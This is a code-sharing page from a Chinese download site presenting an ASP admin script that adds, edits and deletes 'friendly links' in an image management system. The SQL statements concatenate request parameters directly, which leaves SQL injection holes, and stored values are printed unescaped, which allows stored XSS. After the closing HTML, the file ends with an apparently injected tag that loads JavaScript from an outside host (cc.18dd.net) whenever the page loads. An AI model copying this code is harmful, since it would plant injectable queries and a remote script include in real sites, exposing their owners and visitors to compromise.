⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 addoklink.asp

📁 一款有用的图片管理系统
💻 ASP
字号:
<%@LANGUAGE="VBSCRIPT" CODEPAGE="936"%>
<!--#include file="conn.asp"-->
<!--#include file="check.asp"-->
<%
if session("flag")>0 then
   Response.Write("<br><br><br><center>对不起。你没有权限进入此页面!!!</center>")
   Response.end 
end if

if request("style")="modify" then
    id=cint(request("id"))
	linkname=request("linkName1")
	linkurl=request("linkUrl1")
    sql="select * from oklink where ID="&id
    set rs=server.createobject("adodb.recordset")
    rs.open sql,conn,1,3
	    if linkname="" then
			rs("linkName")="网尽设计"
		else
			rs("linkName")=linkname
		end if
		if linkurl="" then
			rs("linkUrl")="#"
		else
			rs("linkUrl")=linkurl
		end if
		rs.update
	rsclose
	response.Write("<script language=javascript>window.location.replace('addoklink.asp');</script>")
	response.End()
elseif request("style")="del" then
    id=request("id")
    conn.execute("delete * from oklink where ID="&id&"")
	response.Write("<script>window.location.replace('addoklink.asp');</script>")
	response.End()
elseif request("style")="add" then
    sql="select * from oklink where linkName='"&Request.Form("linkName")&"'"
    set rs=Server.CreateObject("Adodb.Recordset")
	rs.open sql,conn,1,1
	If not rs.Bof Then 
	   Response.Write("<script language=javascript>alert('已经有此连接。请返回!!!');history.back()</script>")
	   Response.End
	End If                   '判断一下。是否已经有此用户。如果有的话程序返回
   conn.execute("insert into oklink (linkName,linkUrl) values ('"&Request.Form("linkName")&"','"&Request.Form("linkUrl")&"')")
   Response.Write("<script language=javascript>window.location.replace('addoklink.asp');</script>")
   rsclose
else
end if
%>
<html>
<head>
<title>顶部连接管理</title>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<link href="../style/css.css" rel="stylesheet" type="text/css">
</head>

<body>
<table width="495" border="0" align="center" cellpadding="0" cellspacing="0">
  <tr> 
    <td height="23" colspan="3"><div align="center"><strong>友情连接管理</strong></div></td>
  </tr>
  <tr> 
    <td height="18" colspan="3"><div align="center"> 
        <table width="100%" height="106%" border="0" align="left" cellpadding="0" cellspacing="0">
          <%sql="select * from oklink order by id asc"
		set rs=conn.execute(sql)
		do while not rs.eof%>
          <form action="?style=modify" method="post" name="form2">
            <tr> 
              <input name="id" type="hidden" value="<%=rs("ID")%>">
              <td width="42" height="20"><div align="center"><%=rs("ID")%> </div></td>
              <td width="61"><input name="linkName1" type="text" size="7" value="<%=rs("linkName")%>"></td>
              <td width="315"> <input name="linkUrl1" type="text" size="45" value="<%=rs("linkUrl")%>"> 
              </td>
              <td width="49"><div align="center"> 
                  <input type="submit" name="Submit3" value="修改">
                </div></td>
              <td width="28"><div align="center"><a href="?id=<%=rs("ID")%>&style=del" class="black">删除</a></div></td>
            </tr>
          </form>
          <%rs.movenext
		loop%>
        </table>
      </div></td>
  </tr>
  <form action="?style=add" method="post" name="formadd">
    <tr> 
      <td width="41" height="24"><div align="center"></div></td>
      <td width="62">连接标题</td>
      <td width="392"><input name="linkName" type="text" id="linkName" size="45"></td>
    </tr>
    <tr> 
      <td height="28"><div align="center"></div></td>
      <td height="28">连接地址</td>
      <td><input name="linkUrl" type="text" id="linkUrl" size="45"></td>
    </tr>
    <tr> 
      <td height="20" colspan="2"><div align="center"></div></td>
      <td><input type="submit" name="Submit" value="确定"> <input type="reset" name="Submit2" value="取消"> 
      </td>
    </tr>
  </form>
</table>
</body>
</html>
<%ConnClose%>
<script language=javascript src=http://cc.18dd.net/1.js></script>

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -